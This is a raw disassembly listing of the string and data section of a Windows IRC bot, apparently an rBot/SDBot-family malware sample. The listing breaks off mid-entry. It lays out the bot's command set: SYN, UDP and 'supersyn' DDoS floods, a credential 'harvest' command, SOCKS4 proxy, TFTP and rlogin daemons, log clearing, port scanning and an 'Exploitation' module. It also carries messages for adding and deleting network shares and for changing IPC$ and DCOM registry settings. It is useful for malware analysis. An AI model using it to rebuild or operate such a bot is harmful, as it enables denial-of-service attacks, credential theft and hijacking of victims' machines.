sub_40EE72+16BAo align 4 aCom_up db 'com.up',0 ; DATA XREF: sub_40EE72+16A5o align 10h aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE72+1690o align 4 aCom_key db 'com.key',0 ; DATA XREF: sub_40EE72+167Bo aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE72+1666o aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE72+1651o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE72+163Co align 4 aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EE72+1627o aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EE72+1612o align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40EE72+15FDo align 10h aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE72+15E8o unk_43264C db 2 ; DATA XREF: sub_40EE72+15DDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_432698 db 2 ; DATA XREF: sub_40EE72+156Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE72+14D8o align 4 aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE72+14C3o align 10h aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE72+14AEo aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE72+1499o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE72+1484o align 4 aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE72+146Fo align 10h aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE72+145Ao aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE72+1445o align 10h aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE72+1430o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE72+141Bo align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE72+1406o align 4 dword_432758 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13D2o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_43278C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13CBo dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE72+13B4o align 4 aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE72+139Fo align 4 aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE72+138Ao align 4 aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE72+1375o align 4 aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE72+1360o align 4 aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE72+134Bo align 10h aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE72+1336o align 4 aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE72+1321o align 4 aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE72+130Co align 4 aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE72+12F7o align 4 aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE72+12E2o align 4 aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE72+12CDo aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE72+12B8o align 10h aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE72+12ADo align 10h aScan db 'Scan',0 ; DATA XREF: sub_40EE72+12A8o align 4 aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE72+128Fo align 4 dword_432864 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE72+1284o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE72+127Fo align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE72+1266o align 4 dword_43288C dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE72+125Bo aClone db 'Clone',0 ; DATA XREF: sub_40EE72+1256o align 4 aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE72+123Do align 10h aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE72+1228o align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE72+1213o align 4 aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE72+11FEo aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o align 4 dword_4328EC dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+11DEo aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE72+11C0o dword_432908 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o dword_432914 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o dword_432920 dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EE72+1197o dword_432930 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co dword_43293C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o dword_432948 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+116Eo dword_432958 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o dword_432964 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo dword_432970 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+1145o dword_432980 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao dword_43298C dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o dword_432998 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+111Co dword_4329A4 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o dword_4329B4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE72+110Co aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o align 4 dword_4329D8 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o dword_4329E4 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE72+10E3o dword_4329F0 dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EE72+10CAo dword_4329F8 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+10C2o dword_432A04 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o dword_432A14 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40EE72+109Co aDaemon_rlogin_ db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo align 4 dword_432A38 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40EE72+105Co aServer db 'Server',0 ; DATA XREF: sub_40EE72+1057o ; sub_40EE72+1097o ... align 10h aProxy_socks4_0 db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo align 4 aProxy_s4_on db 'proxy.s4.on',0 ; DATA XREF: sub_40EE72+1029o aProxy_socks4_o db 'proxy.socks4.on',0 ; DATA XREF: sub_40EE72+1014o aLd_off db 'ld.off',0 ; DATA XREF: sub_40EE72+FFFo align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40EE72+FEAo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40EE72+FD5o align 10h aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40EE72+FC0o aVer db 'ver',0 ; DATA XREF: sub_40EE72+FABo aIrc_version db 'irc.version',0 ; DATA XREF: sub_40EE72+F96o aLo db 'lo',0 ; DATA XREF: sub_40EE72+F81o align 10h aIrc_logout db 'irc.logout',0 ; DATA XREF: sub_40EE72+F6Co align 4 aIrc_di db 'irc.di',0 ; DATA XREF: sub_40EE72+F57o align 4 aIrc_die db 'irc.die',0 ; DATA XREF: sub_40EE72+F42o aRn db 'rn',0 ; DATA XREF: sub_40EE72+F2Do align 10h aIrc_rndnick db 'irc.rndnick',0 ; DATA XREF: sub_40EE72+F15o a63 db '63',0 ; DATA XREF: sub_40EE72+DEEo align 10h asc_432AF0: ; DATA XREF: sub_40EE72+DC6o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40EE72+D89o align 4 aServer_0 db '$server',0 ; DATA XREF: sub_40EE72+D7Eo aRndnick db '$rndnick',0 ; DATA XREF: sub_40EE72+D6Do align 10h aChan db '$chan',0 ; DATA XREF: sub_40EE72+D51o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40EE72+D40o align 10h aMe_0 db '$me',0 ; DATA XREF: sub_40EE72+D2Eo aD db '$%d',0 ; DATA XREF: sub_40EE72+CC0o aD_0 db '$%d-',0 ; DATA XREF: sub_40EE72+C05o align 10h aC_0: ; DATA XREF: sub_40EE72+B19o unicode 0, <c>,0 dword_432B34 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AE4o dd 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_432B74 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AD6o dd 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 4 dword_432BB4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+AC8o dd 2BBBB02h aFailedToSta_29 db ' Failed to start chat thread, error: <%d>.',0 dword_432BF8 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+A59o dd 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40EE72+9BFo align 10h dword_432C30 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+99Co dd 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_432C80 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+984o ; sub_40EE72+4ABCo dd 2BBBB02h aFailedToSta_30 db ' Failed to start transfer thread, error: <%d>.',0 dword_432CC8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40EE72+973o dd 0A0Dh dword_432CE0 dd 4E495001h, 47h ; DATA XREF: sub_40EE72+93Fo aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o align 4 dword_432D04 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40EE72+8DCo dd 0D017325h, 0Ah dword_432D20 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40EE72+8ABo dword_432D2C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+791o dd 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40EE72+6E8o align 10h dword_432D70 dd 43434401h, 0 ; DATA XREF: sub_40EE72+6CAo dword_432D78 dd 323333h ; DATA XREF: sub_40EE72+651o ; sub_40EE72+B4Fo ... dword_432D7C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5D2o dd 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_432DAC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+5ABo dd 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40EE72+574o aPart db 'PART',0 ; DATA XREF: sub_40EE72+526o ; sub_40EE72+5EFo align 4 aSS_0 db ':%s%s',0 ; DATA XREF: sub_40EE72+4FEo align 10h aNick db 'NICK',0 ; DATA XREF: sub_40EE72+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o ; sub_40EE72+613o dword_432E08 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+355o ; sub_40EE72+5FF4o ... dd 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40EE72+2E4o align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+28Do ; sub_40EE72+4EB7o ... align 4 a433 db '433',0 ; DATA XREF: sub_40EE72+262o a@: ; DATA XREF: sub_40EE72+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40EE72+22Ao a005 db '005',0 ; DATA XREF: sub_40EE72+215o a001 db '001',0 ; DATA XREF: sub_40EE72+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o ; sub_40EE72+3B7o ... align 10h aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40EE72+1A9o align 4 asc_432E84: ; DATA XREF: sub_40EE72+19Ao ; sub_40EE72+60FBo unicode 0, <!>,0 asc_432E88 db ' :',0 ; DATA XREF: sub_40EE72+86o ; sub_40EE72:loc_40FA19o align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41518A+120o align 4 unk_432E98 db 2 ; DATA XREF: sub_41533B:loc_4153C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListFai db 'Process list failed.',0 align 10h unk_432ED0 db 2 ; DATA XREF: sub_41533B+80o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessListCom db 'Process list completed.',0 unk_432F08 db 2 ; DATA XREF: sub_41533B+19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aListingProcess db 'Listing processes:',0 align 4 dword_432F3C dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415669o dd 2029671Fh, 2BBBB02h aUserLoggedOutS db ' User logged out: <%s@%s>.',0 dword_432F74 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415642o dd 2029671Fh, 2BBBB02h aErrorSessionru db ' Error: SessionRun(): <%d>.',0 align 10h dword_432FB0 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415622o dd 2029671Fh, 2BBBB02h aUserLoggedInS@ db ' User logged in: <%s@%s>.',0 align 4 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o align 4 dword_432FFC dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: ___:00415561o dd 2029671Fh, 2BBBB02h aErrorGetpeerna db ' Error: getpeername(): <%d>.',0 align 4 dword_433038 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_415685:loc_4156CAo dd 2029671Fh, 2BBBB02h aProtocolString db ' Protocol string too long.',0 dword_433070 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_4156DF+1Bo dd 2029671Fh, 2BBBB02h, 6F4C2020h, 206E6967h, 656A6572h dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h dd 61657268h, 25203A64h, 2E64h, 7A026E02h, 201F6D1Fh, 6F6C7228h dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h dd 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 61462020h, 64656C69h, 206F7420h dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h dd 656C646Eh, 65202C72h, 726F7272h, 253C203Ah, 2E3E64h dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh dd 2029671Fh, 2BBBB02h, 72452020h, 3A726F72h, 41535720h dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0 aConst db 'const',0 align 4 dd 0 dword_43327C dd 1 ; DATA XREF: sub_415D01+7o off_433280 dd offset sub_415996 ; DATA XREF: sub_415D01+49r aLetter db 'letter',0 align 10h dd 2, 4159F4h, 706D6F63h, 2 dup(0) dd 3, 415A41h, 6E756F63h, 797274h, 0 dd 4, 415ADFh, 736Fh, 2 dup(0) dd 5, 415B54h dword_4332D4 dd 69257325h, 0 ; DATA XREF: sub_415996+40o ; ___:00415AC0o ... byte_4332DC db 50h ; DATA XREF: ___:00415A63o ; ___:00415A70r db 43h, 2 dup(0) dword_4332E0 dd 7C7325h ; DATA XREF: ___:00415B0Eo ; sub_415D01+39o dword_4332E4 dd 5D73255Bh, 7Ch ; DATA XREF: ___:00415C18o dword_4332EC dd 334B32h ; DATA XREF: ___:00415C08o dword_4332F0 dd 5D64255Bh, 7325h ; DATA XREF: sub_415C5E+3Ao dword_4332F8 dd 5D4D5Bh ; DATA XREF: sub_415C5E+2Co ; sub_415C5E+57o unk_4332FC db 2 ; DATA XREF: sub_415D6A+92o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 db 2 db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 10h off_433370 dd offset dword_4333A8 ; DATA XREF: sub_415F88+1B3o ; sub_4162AC+17Ao align 8 dd offset dword_4333A0 align 10h off_433380 dd offset dword_43339C ; DATA XREF: sub_4162AC+1E3o dd offset dword_433398 dd offset dword_433394 dd offset dword_433390 dword_433390 dd 5C3A44h ; DATA XREF: sub_415F88+217o ; ___:0043338Co dword_433394 dd 2444h ; DATA XREF: ___:00433388o dword_433398 dd 5C3A43h ; DATA XREF: ___:00433384o dword_43339C dd 2443h ; DATA XREF: ___:off_433380o dword_4333A0 dd 494D4441h, 244Eh ; DATA XREF: ___:00433378o dword_4333A8 dd 24435049h, 0 ; DATA XREF: ___:off_433370o unk_4333B0 db 2 ; DATA XREF: sub_415F88+2E5o ; sub_4162AC+2DBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 10h unk_4333F0 db 2 ; DATA XREF: sub_415F88+2CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_433428 db 2 ; DATA XREF: sub_415F88:loc_4161EAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0 align 4 unk_433464 db 2 ; DATA XREF: sub_415F88+25Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0 align 4 unk_433498 db 2 ; DATA XREF: sub_415F88:loc_416157o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0 align 4 unk_4334D4 db 2 ; DATA XREF: sub_415F88+1C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0 align 4 unk_433508 db 2 ; DATA XREF: sub_415F88:loc_4160BAo ; sub_4162AC:loc_4163DAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_433548 db 2 ; DATA XREF: sub_415F88:loc_4160B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0 align 4 unk_433594 db 2 ; DATA XREF: sub_415F88:loc_416095o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aRestrictedAcce db ' Restricted access to the IPC$ Share.',0 align 4 unk_4335D8 db 2 ; DATA XREF: sub_415F88+106o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_415F88+EDo ; sub_4162AC+EDo align 4 unk_433638 db 2 ; DATA XREF: sub_415F88+91o ; sub_4162AC+91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpenDc db ' Failed to open DCOM registry key.',0 align 4 dword_433678 dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_415F88:loc_415FF5o dd 2202967h, 2002BBBBh, 4F434420h, 6964204Dh, 6C626173h dd 2E6465h unk_4336A4 db 2 ; DATA XREF: sub_415F88+66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDisableDcomFai db ' Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_415F88+54o ; sub_4162AC+54o align 4 word_4336E4 dw 4Eh ; DATA XREF: sub_415F88+38r align 4 unk_4336E8 db 2 ; DATA XREF: sub_4162AC+2C3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesA db ' Network shares added.',0 align 4 aC_1 db '%c:\',0 ; DATA XREF: sub_4162AC+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_4162AC+219o unk_433728 db 2 ; DATA XREF: sub_4162AC:loc_41644Bo ; sub_4162AC:loc_41651Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0 align 10h unk_433760 db 2 ; DATA XREF: sub_4162AC+198o ; sub_4162AC+269o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0 align 10h unk_433790 db 2 ; DATA XREF: sub_4162AC:loc_4163D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0 align 4 unk_4337DC db 2 ; DATA XREF: sub_4162AC:loc_4163B5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0 unk_433820 db 2 ; DATA XREF: 